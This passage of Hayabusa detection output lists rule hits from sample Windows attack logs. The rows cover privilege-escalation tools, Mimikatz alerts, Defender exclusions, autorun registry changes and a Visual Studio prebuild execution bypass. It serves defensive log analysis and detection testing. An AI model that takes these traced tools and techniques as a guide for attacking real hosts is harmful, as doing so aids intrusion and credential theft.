+09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/AN67dIUbQty67HoEacsJ61c_6260/APHk7sg8XbALFcVmjTty4CQ,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 18:57:59.420 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/Jo7Lnj2MkXB5ezNave49dw_2509/AOHc3HV2drrDzlxLOXeJFhs,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 23:04:33.703 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 23:04:36.013 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-26 19:44:49.642 +09:00,02694w-win10.threebeesco.com,1,informational,Process Creation,"Command: pocacct.exe payload.dll : Path: C:\Users\lgreen\Downloads\PrivEsc\pocacct.exe : User: 3B\lgreen : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_sysmon_cve_20201030_spooler.evtx +2020-11-26 19:44:49.642 +09:00,02694w-win10.threebeesco.com,1,medium,Suspicious File Characteristics Due to Missing Fields,,rules/sigma/process_creation/win_susp_file_characteristics.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_sysmon_cve_20201030_spooler.evtx +2020-11-26 19:45:14.007 +09:00,02694w-win10.threebeesco.com,1,informational,Process Creation,Command: C:\WINDOWS\System32\spoolsv.exe : Path: C:\Windows\System32\spoolsv.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\WINDOWS\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_sysmon_cve_20201030_spooler.evtx +2020-11-26 22:23:30.614 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-26 22:23:32.141 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-27 02:38:11.138 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: byeintegrity5-uac.exe : Path: C:\Users\Public\tools\privesc\uac\byeintegrity5-uac.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_uacbypass_CDSSync_schtask_hijack_byeintegrity5.evtx +2020-11-27 02:38:11.138 +09:00,LAPTOP-JU4M3I0E,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_uacbypass_CDSSync_schtask_hijack_byeintegrity5.evtx +2020-11-27 02:38:11.154 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: taskhostw.exe $(Arg0) : Path: C:\Windows\System32\taskhostw.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: C:\windows\system32\svchost.exe -k netsvcs -p -s Schedule,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_uacbypass_CDSSync_schtask_hijack_byeintegrity5.evtx +2020-11-27 02:38:11.175 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: taskhostw.exe $(Arg0)",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_uacbypass_CDSSync_schtask_hijack_byeintegrity5.evtx +2020-11-28 05:15:22.956 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-28 05:15:23.662 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-29 01:17:33.019 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-29 01:17:34.712 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-29 21:31:21.179 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-29 21:31:22.012 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-30 01:29:22.597 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bsJv4.img?w=100&h=100&m=6&tilesize=medium&x=3175&y=1599&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-30 22:15:33.442 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-12-05 07:41:04.470 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k localService -p -s RemoteRegistry : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_remote_registry_sysmon_1_13_3.evtx +2020-12-05 07:41:04.470 +09:00,MSEDGEWIN10,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_remote_registry_sysmon_1_13_3.evtx +2020-12-05 07:41:04.470 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_remote_registry_sysmon_1_13_3.evtx +2020-12-05 07:41:04.542 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_remote_registry_sysmon_1_13_3.evtx +2020-12-05 07:41:04.545 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_remote_registry_sysmon_1_13_3.evtx +2020-12-10 01:52:34.562 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\Public\psexecprivesc.exe"" C:\Windows\System32\mspaint.exe : Path: C:\Users\Public\psexecprivesc.exe : User: MSEDGEWIN10\user02 : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:34.562 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:34.622 +09:00,MSEDGEWIN10,17,low,PsExec Tool Execution,,rules/sigma/pipe_created/pipe_created_tool_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:41.861 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\PSEXESVC.exe : Path: C:\Windows\PSEXESVC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:41.861 +09:00,MSEDGEWIN10,1,low,PsExec Service Start,,rules/sigma/process_creation/win_psexesvc_start.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:41.861 +09:00,MSEDGEWIN10,1,low,PsExec Tool Execution,,rules/sigma/process_creation/process_creation_tool_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:42.478 +09:00,MSEDGEWIN10,18,low,PsExec Tool Execution,,rules/sigma/pipe_created/pipe_created_tool_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:44.864 +09:00,MSEDGEWIN10,18,low,PsExec Tool Execution,,rules/sigma/pipe_created/pipe_created_tool_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:45.141 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\mspaint.exe"" 췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍 : Path: C:\Windows\System32\mspaint.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\PSEXESVC.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 20:18:54.600 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding : Path: C:\Windows\System32\wbem\WmiPrvSE.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/wmi_remote_registry_sysmon.evtx +2020-12-10 20:18:54.856 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/wmi_remote_registry_sysmon.evtx +2020-12-10 20:18:54.856 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/wmi_remote_registry_sysmon.evtx +2020-12-11 21:28:01.299 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Alert,Threat: HackTool:Win64/Mikatz!dha : Severity: High : Type: Tool : User: OFFSEC\admmig : Path: file:_C:\Users\admmig\Documents\mimidrv.sys : Process: C:\Windows\explorer.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.299 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.299 +09:00,WIN10-client01.offsec.lan,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.299 +09:00,WIN10-client01.offsec.lan,1116,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.566 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Alert,Threat: HackTool:Win32/Mimikatz.D : Severity: High : Type: Tool : User: OFFSEC\admmig : Path: file:_C:\Users\admmig\Documents\mimikatz.exe : Process: C:\Windows\explorer.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.566 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.566 +09:00,WIN10-client01.offsec.lan,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.566 +09:00,WIN10-client01.offsec.lan,1116,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.651 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Alert,Threat: HackTool:Win64/Mikatz!dha : Severity: High : Type: Tool : User: OFFSEC\admmig : Path: file:_C:\Users\admmig\Documents\mimidrv.sys; file:_C:\Users\admmig\Documents\mimilib.dll : Process: C:\Windows\explorer.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.651 +09:00,WIN10-client01.offsec.lan,1116,high,Possible CVE-2021-1675 Print Spooler Exploitation,,rules/sigma/other/printservice/win_exploit_cve_2021_1675_printspooler.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.651 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.651 +09:00,WIN10-client01.offsec.lan,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.651 +09:00,WIN10-client01.offsec.lan,1116,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:43.010 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Alert,Threat: HackTool:Win32/Mimikatz.D : Severity: High : Type: Tool : User: OFFSEC\admmig : Path: file:_C:\Users\admmig\Documents\mimikatz.exe : Process: C:\Windows\explorer.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:43.010 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:43.010 +09:00,WIN10-client01.offsec.lan,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:43.010 +09:00,WIN10-client01.offsec.lan,1116,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.271 +09:00,WIN10-client01.offsec.lan,1117,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.271 +09:00,WIN10-client01.offsec.lan,1117,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.271 +09:00,WIN10-client01.offsec.lan,1117,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.317 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Alert,Threat: HackTool:Win32/Mimikatz.D : Severity: High : Type: Tool : User: OFFSEC\admmig : Path: file:_C:\Users\admmig\Documents\mimikatz.exe : Process: C:\Windows\explorer.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.317 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.317 +09:00,WIN10-client01.offsec.lan,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.317 +09:00,WIN10-client01.offsec.lan,1116,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-16 00:00:15.695 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_remote_task_src_powershell.evtx +2020-12-16 00:00:15.695 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_remote_task_src_powershell.evtx +2020-12-16 17:44:06.473 +09:00,WIN10-client01.offsec.lan,5007,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2020-12-16 17:44:06.473 +09:00,WIN10-client01.offsec.lan,5007,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2020-12-16 17:44:27.222 +09:00,WIN10-client01.offsec.lan,5007,medium,Windows Defender Exclusions Added,,rules/sigma/other/windefend/win_defender_exclusions.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2020-12-16 17:44:27.222 +09:00,WIN10-client01.offsec.lan,5007,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2020-12-16 17:44:27.222 +09:00,WIN10-client01.offsec.lan,5007,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2020-12-16 17:44:51.331 +09:00,WIN10-client01.offsec.lan,5007,medium,Windows Defender Exclusions Added,,rules/sigma/other/windefend/win_defender_exclusions.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2020-12-16 17:45:04.144 +09:00,WIN10-client01.offsec.lan,5007,medium,Windows Defender Exclusions Added,,rules/sigma/other/windefend/win_defender_exclusions.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2021-01-26 22:21:13.690 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe /nologo /nodemode:1 /nodeReuse:true /low:false : Path: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\IDE\devenv.exe"" ""C:\Users\bouss\source\repos\blabla\blabla.sln""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:13.690 +09:00,LAPTOP-JU4M3I0E,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:13.978 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\windows\system32\cmd.exe"" /Q /D /C C:\Users\bouss\AppData\Local\Temp\tmpf890f11830e143ada2d718f706dd94c0.exec.cmd : Path: C:\Windows\SysWOW64\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe /nologo /nodemode:1 /nodeReuse:true /low:false",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:14.023 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: powershell.exe start-process notepad.exe : Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\windows\system32\cmd.exe"" /Q /D /C C:\Users\bouss\AppData\Local\Temp\tmpf890f11830e143ada2d718f706dd94c0.exec.cmd",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:14.023 +09:00,LAPTOP-JU4M3I0E,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:14.296 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\windows\system32\notepad.exe"" : Path: C:\Windows\SysWOW64\notepad.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: powershell.exe start-process notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:14.428 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\Tracker.exe"" @""C:\Users\bouss\AppData\Local\Temp\tmp5938b880d43743db91973c95f519f06b.tmp"" /c ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\HostX86\x86\CL.exe"" @""C:\Users\bouss\AppData\Local\Temp\tmp19546d957b6e4d15b83f93a323d5f087.rsp"" : Path: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\Tracker.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe /nologo /nodemode:1 /nodeReuse:true /low:false",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:14.456 